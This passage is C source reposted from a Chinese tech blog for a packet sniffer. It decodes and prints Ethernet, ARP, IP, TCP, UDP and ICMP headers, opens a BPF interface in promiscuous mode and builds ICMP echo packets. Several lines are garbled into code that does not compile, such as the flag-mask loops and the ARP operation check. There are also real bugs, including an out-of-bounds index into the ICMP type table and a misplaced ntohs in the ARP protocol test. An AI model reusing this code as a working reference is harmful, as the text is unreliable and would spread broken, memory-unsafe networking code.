if( (buff[j]>=0x20)&&(buff[j]<=0x7e))
putchar(buff[j]);
else
printf(".");
}
printf(" ");
}
fflush(stdout);
}

void print_udp(struct udphdr *udp)
{
#ifdef _FAVOR_BSD_
printf("Protocol:UDP ");
printf("Source Port:%5u Dest Port:%5u ",
ntohs(udp->uh_sport),ntohs(udp->uh_dport));
printf("Length:%5u Checksum%5u ",ntohs(udp->uh_ulen),ntohs(udp->uh_sum));
#else
printf("Protocol:UDP ");
printf("Source Port:%5u Dest Port:%5u ",
ntohs(udp->source),ntohs(udp->dest));
printf("Length:%5u Checksum%5u ",ntohs(udp->len),ntohs(udp->check));
#endif
}
char *tcp_ftoa(int flag)
{
static int f[]={'U','A','P','R','S','F'};
static char str[17];
u_int mask=1<<5;
int i;
for(i=0;i<6;i++)
{
if( ((flag<str[i]=f[i];
else
str[i]='0';
}
str[i]='';
return str;
}

void print_tcp(struct tcphdr *tcp)
{
#ifndef __linux
printf("Protocol:TCP ");
printf("Source Port:%5u Destination Port %5u ",
ntohs(tcp->th_sport),ntohs(tcp->th_dport));
printf("Sequence Number:%10lu ",(u_long)ntohl(tcp->th_seq));
printf("Acknowledgement Number :%10lu ",
(u_long)ntohl(tcp->th_ack));
printf("Do: %2u Reserved F:%6s Window size:%5u ",
tcp->th_off,tcp_ftoa(tcp->th_flag),ntohs(tcp->th_win));
printf("Checksum: %5u Urgent Pointer: %5u ",ntohs(tcp->th_sum),ntohs(tcp->th_urp));
#else
printf("Protocol:TCP ");
printf("Source Port:%5u Destination Port %5u ",
ntohs(tcp->source),ntohs(tcp->dest));
printf("Sequence Number:%10lu ",(u_long)ntohl(tcp->seq));
printf("Acknowledgement Number :%10lu ",
(u_long)ntohl(tcp->ack_seq));
printf("Do: %2u Window size:%5u ",
tcp->doff,ntohs(tcp->window));
printf("Checksum: %5u Urgent Pointer: %5u ",ntohs(tcp->check),ntohs(tcp->urg_ptr));
#endif

}

void print_icmp(struct icmp *icmp)
{
static char *type_name[]={
"Echo Reply",
"Undefine",
"Undefine",
"Destination Unreachable",
"Source Quench",
"Redirect(changeroute)",
"Undefine",
"Undefine",
"Echo Request",
"Undefine",
"Undefine",
"Time Exceeded",
"Parameter Problem",
"Timestamp Request",
"Timestamp Reply",
"Infromation Reply",
"Address Mask Request",
"Address Mask Reply",
"Unknow",
};

int type=icmp->icmp_type;
if(type<0 || type>10)
type=19;
printf("Protocol: ICMP(%s) ",type_name[type]);
printf("Type: %3u Code:%3u Checksum:%5u ",
icmp->icmp_type,icmp->icmp_code,ntohs(icmp->icmp_cksum));
if( icmp->icmp_type==0 || icmp->icmp_type==8 )
{
printf("Identification: %5u Sequence Number: %5u ",
ntohs(icmp->icmp_id),ntohs(icmp->icmp_seq));
printf("------------------------------------------- ");
}
else if(icmp->icmp_type==3)
{
if(icmp->icmp_code==4)
{
printf("void:%5u Next MTU:%5u ",
ntohs(icmp->icmp_pmvoid),ntohs(icmp->icmp_nextmtu));
printf("------------------------------------------- ");

}else
{
printf("Unused:%10lu ",(u_long)ntohl(icmp->icmp_void));
printf("------------------------------------------- ");
}
}else if(icmp->icmp_type==5)
{
printf("Router IP Address:%15s ",inet_ntoa(*(struct in_addr *)&(icmp->icmp_gwaddr)));
printf("------------------------------------------- ");
}else if(icmp->icmp_type==11)
{
printf("Unused: %10lu ",(u_long)ntohl(icmp->icmp_void));
printf("------------------------------------------- ");
}
if( icmp->icmp_type==3 || icmp->icmp_type==5 || icmp->icmp_type==11 )
print_ip( (struct ip *)( ((char *)icmp)+8 ) );
}

char *ip_ttoa(int flag)
{
static int f[]={'1','1','1','D','T','R','C','X',};
static char str[17];
u_int mask=0x80;
int i;
for(i=0;i<8;i++)
{
if( ((flag<str[i]=f[i];
else
str[i]='0';
}
str[i]='';
return str;
}

char *ip_ftoa(int flag)
{
static int f[]={'R','D','M'};
static char str[17];
u_int mask=0x8000;
int i;
for(i=0;i<3;i++)
{
if( ((flag<str[i]=f[i];
else
str[i]='0';
}
str[i]='';
return str;
}

void print_ip(struct ip *ip)
{
printf("Protocol: IP ");
printf("IV: %1u HL:%2u T: %8s Total Length:%10u ",
ip->ip_v,ip->ip_hl,ip_ttoa(ip->ip_tos),ntohs(ip->ip_len));
printf("Identifier: %5u FF:%3s FO:%5u ",
ntohs(ip->ip_id),ip_ftoa(ntohs(ip->ip_off)),
ntohs(ip->ip_off)&IP_OFFMASK);
printf("TTL:%3u Pro:%3u Header Checksum:%5u ",
ip->ip_ttl,ip->ip_p,ntohs(ip->ip_sum));
printf("Source IP Address: %15s ",inet_ntoa(* (struct in_addr *)&(ip->ip_src) ) );
printf("Destination IP Address: %15s ",inet_ntoa( *(struct in_addr *)&(ip->ip_dst )) );
}

void print_arp(struct ether_arp *arp)
{
static char *arp_operation[]={
"Undefine",
"(ARP Request)",
"(ARP REPLY)",
"(RARP Request)",
"(RARP Reply)",
};
int op=ntohs(arp->ea_hdr.ar_op);
if(op<=0 || 5op=0;
printf("Protocol:ARP ");
printf("Hard Type: %2u %-11s ",ntohs(arp->ea_hdr.ar_hrd),
(ntohs(arp->ea_hdr.ar_hrd)==ARPHRD_ETHER)?"(Ethernet)":"Not Ether" );
printf("Protocol: 0x%04x %-9s ",ntohs(arp->ea_hdr.ar_pro),
(ntohs(arp->ea_hdr.ar_pro==ETHERTYPE_IP))? "(IP)":"(NOT IP)");
printf("Hardlen :%3u AddrLen:%2u OP: %4d %16s ",
arp->ea_hdr.ar_hln,arp->ea_hdr.ar_pln,ntohs(arp->ea_hdr.ar_op),
arp_operation[op]);
printf("Source MAX Address:%17s ",mac_ntoa(arp->arp_sha));
printf("Source IP Address:%15s ",inet_ntoa(*(struct in_addr *)&arp->arp_spa));
printf("Destination MAC Address: %17s ",mac_ntoa(arp->arp_tha));
printf("Destination IP Address: %15s ",inet_ntoa(*(struct in_addr *)&arp->arp_tpa));
}

void print_ethernet(struct ether_header *eth)
{
int type=ntohs(eth->ether_type);
if(type<=1500)
printf("IEEE 802.3 Ethernet Frame");
else
printf("Ethernet Fram: ");
printf("Destination MAC Address:%17s ",mac_ntoa(eth->ether_dhost));
printf("Source MAX Address:%15s ",mac_ntoa(eth->ether_shost));
if(type<1500)
printf("Length: %5u ",type);
else
printf("Ethernet Type: 0X%04x ",type);

}
char *mac_ntoa(u_char *d)
{

static char str[50];
sprintf(str,"%02x:%02x:%02x:%02x:%02x:%02x",
d[0],d[1],d[2],d[3],d[4],d[5]);
return str;
}
#ifndef __linux
int open_buf(char *ifname)
{
char buf[256];
int bpfd;
struct ifreq ifr;
int i;
for(i=0;i<4;i++)
{
sprintf(buf,"/dev/bpf%d",i);
if( (bpfd=open(buf,O_RDWR,0))>0 )
goto bpf_ok;
}
fprintf(stderr,"cannot open BPF ");
return -1;
bpf_ok: ;
strcpy(ifr.ifr_name,ifname);
if( ioctl(bpfd,BIOCSETIF,&ifr)<0 )
{
sprintf(buf,"ioctl(BIOCSETIF,'%S')",ifname);
perror(buf);
return -1;
}
fprintf(stderr,"BPF readfrom '%s'(%s) ",ifr.ifr_name,buf);

if(ioctl(bpfd,BIOCPROMISC,NULL)<0)
{
perror("ioctl(BIOCPROMISC)");
return -1;
}
i=1;
if( ioctl(bpfd,BIOCIMMEDIATE,&i)<0 )
{
perror("ioctl(BIOCIMMEDIATE)");
return -1;
}
return bpfd;
}
#endif


void make_icmp8_packet( struct icmp *icmp,int len,int n )
{
memset( (char *)icmp,0,len );
gettimeofday((struct timeval *)(icmp->icmp_data),(struct timezone *)0);
icmp->icmp_type=ICMP_ECHO;
icmp->icmp_code=0;
icmp->icmp_id=0;
icmp->icmp_seq=n;
icmp->icmp_cksum=0;
icmp->icmp_cksum=checksum((u_short *)icmp,len);


}
u_short checksum(u_short *data,int len)
{
u_long sum=0;
for(;len>1;len-=2)
{
sum+=*data++;
if(sum & 0x80000000)
sum=(sum & 0xffff)+(sum>>16);
}
if(len==1)
{
u_short i=0;
*(u_char *)(&i)=*(u_char *)data;
sum+=i;
}
while(sum>>16)
sum=(sum & 0xffff)+(sum>>16);
return(sum==0xffff)? sum: ~sum;
}

void tvsub(struct timeval *out ,struct timeval *in)
{
if((out->tv_usec-=in->tv_usec)<0)
{
out->tv_sec--;
out->tv_usec+=1000000;
}
out->tv_sec-=in->tv_sec;
}

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617542/viewspace-962396/,如需轉載,請註明出處,否則將追究法律責任。

最後的紀念---linuxGL(轉)
請登入後發表評論 登入
全部評論

相關文章